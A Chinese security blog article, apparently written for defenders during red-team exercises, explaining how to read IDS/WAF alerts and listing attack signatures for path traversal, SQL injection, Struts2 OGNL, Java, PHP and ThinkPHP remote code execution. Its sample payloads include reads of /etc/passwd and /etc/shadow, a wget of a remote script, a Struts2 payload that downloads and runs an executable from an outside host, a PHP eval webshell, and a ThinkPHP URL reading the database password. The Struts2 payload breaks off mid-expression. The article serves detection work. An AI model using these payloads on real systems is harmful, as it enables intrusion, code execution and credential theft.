威胁事件告警分析技巧及处置（一）

安全小王子

发布于 2020-09-23 12:46:30

2.9K0

发布于 2020-09-23 12:46:30

文章被收录于专栏：betasec

声明：公众号大部分文章来自团队核心成员和知识星球成员，少部分文章经过原作者授权和其它公众号白名单转载。未经授权，严禁转载，如需转载，请联系公众号管理员授权转载白名单！

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者及本公众号无关！

START

0x01前言

由于近几年信息安全人员紧缺，面临HW急需安全人员的竞赛中，许多安全厂商降低招聘要求，招收大量安全工作经验较少的人员参与HW当中，由于缺乏相应的工作经验，面对攻击团队的频繁入侵，导致误判、错封攻击源IP地址，进而对公司业务造成严重影响。小编对此对攻击流特征进行了一个详细的总结，本文适用于可查看攻击数据流量的设备，如：waf、ids、ips、天眼、睿眼以及其他全流量分析系统等。

0x02期望效果

看完本文后，您能学到：

>常见告警攻击特征识别

> 低危告警攻击事件忽略

> 研判告警攻击是否误报

> 复杂告警攻击Pcap取证

> 验证告警攻击是否成功

0x03通用攻击关键特征

在设备上产生的告警，就目前而言，基本都有这几个必要字段：请求头、响应码、响应头、载荷、原始数据包。通过这些字段我们可以进行事件的研判，但是就我个人而言，不必执着于告警名称，如果这些字段中包含了一些通用的攻击特征，那么我可判断为是真实攻击，然后再进行下一步确定是否是自己人员进行安全测试，是否需要溯源等下一步的工作计划，通用特征包含但不限于以下这些：

/etc/passwd/etc/shadow/
c:\boot.ini/
C:/Windows/system.ini、/windows/win.ini
../../../../../ 若是只有一个且后面是图片类型 pdf类型那需结合其他事件进行综合判断
cmd.exe /c[/k]、系统命令
/bin/bash
wget http://xx.xx.xx.xx/xx.sh 
CHR(68)||CHR(113)||CHR(90)||CHR(85)%
print(md5(31337))
执行命令的函数等。

0x04SQL注入攻击特征

常见安全漏洞对应攻击特征——SQL注入包含但不限于以下这些:

> select * from xx union select null,null
> order by 10[5][2][3]
> ") or ("1"="1
>‘and 1=2-- -[#]、 1') AnD 1419=1419 AnD ('1419'='1420 
> 1' AND ROW(4622,4623)>(SELECT COUNT(*),CONCAT('PGC2UcNo',(SELECT (CASE WHEN (4622=4622) THEN 1 ELSE 0 END)),'PGC2UcNo',FLOOR(RAND(0)*2))x FROM (SELECT 4624 UNION SELECT 4625 UNION SELECT 4626 UNION SELECT 4627)a GROUP BY x) AND 'PGC2UcNo'='PGC2UcNo
> =@`'` Union select userid from `%23@__admin` where 1 or id=@`’`
> 9997') AND 8553%3D8553 AND ('PVZl'%3D'PVZl，1'%3BSELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(68)||CHR(113)||CHR(90)||CHR(85)%2C5) FROM DUAL
> sleep(5)、waitfor delay '0:0:5'
> and if (ascii(substr(database(),1,1))、and if (length(database()) (updatexml(1,md5(0x666F7274657374),1)))、extractvalue、NAME_CONST

0x05Strusts2远程代码执行攻击特征

常见安全漏洞对应攻击特征——struts2远程代码执行包含但不限于以下这些:

> #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#res.print('RTbZWnwBUdlseupNYQjf'),#res.flush(),#res.close()
> /?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('SgEyRprkLcMdtnsTJCve'),%23w.flush(),%23w.close()}
> class.classLoader.resources.dirContext.aliases=/eCJivkuR=conf/
> Content-Type: %{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='cmd.exe /c certutil.exe -urlcache -split -f http://wiu.fxxxxxxk.me/download.exe %SystemRoot%/Temp/aodagutnzwrjrlm15341.exe & cmd.exe /c %SystemRoot%/Temp/aodagutnzwrjrlm15341.exe').
(#iswin=(@java.lang.System@getProperty('os.name').
toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{

0x06java代码执行攻击特征

常见安全漏洞对应攻击特征——Java代码执行包含但不限于以下这些:

 @ognl.OgnlContext  
 new java.lang.ProcessBuilder  
 println( 
 (java.lang.Runtime).getRuntime().exec(new java.lang.String、${new java.lang.Integer( import+java.util.*;import+java.io java.io.PrintWriter
 org.apache.commons.collections.functors.InvokerTransformer

0x07PHP远程代码执行攻击特征

常见安全漏洞对应攻击特征——PHP代码执行包含但不限于以下这些:

<?php eval($_POST[xxx])?>
eval()
assert()
preg_replace()
create_function()
call_user_func()
array_map()
call_user_func_array()
phpinfo()
system
exec
popen
passthru
shell_exec
file_put_contents

0x08Thinkphp远程代码执行攻击特征

Think PHP远程代码执行漏洞包含但不限于以下这些:

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=base64_decode&vars[1][]=MWVVdGJrc2pLZ3AyRmx1Zg==
"_method": "__construct",  "filter[]": "system", "method": "get", "get[]": 'php -r "phpinfo();“’ 
/index.php?s=/index/\\think\\app/invokefunction
/index.php?s=/index/\\think\\request/cache
?s=index/\\think\Request/input/index.php
/?s=index/\\think\\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
?s=index/\\think\module/action/param1/${@phpinfo()}/
index.php?s=index/think\config/get&name=database.passwordindex.php
?s=index/think\config/get&name=database.password c=exec&f=calc.exe&_method=filter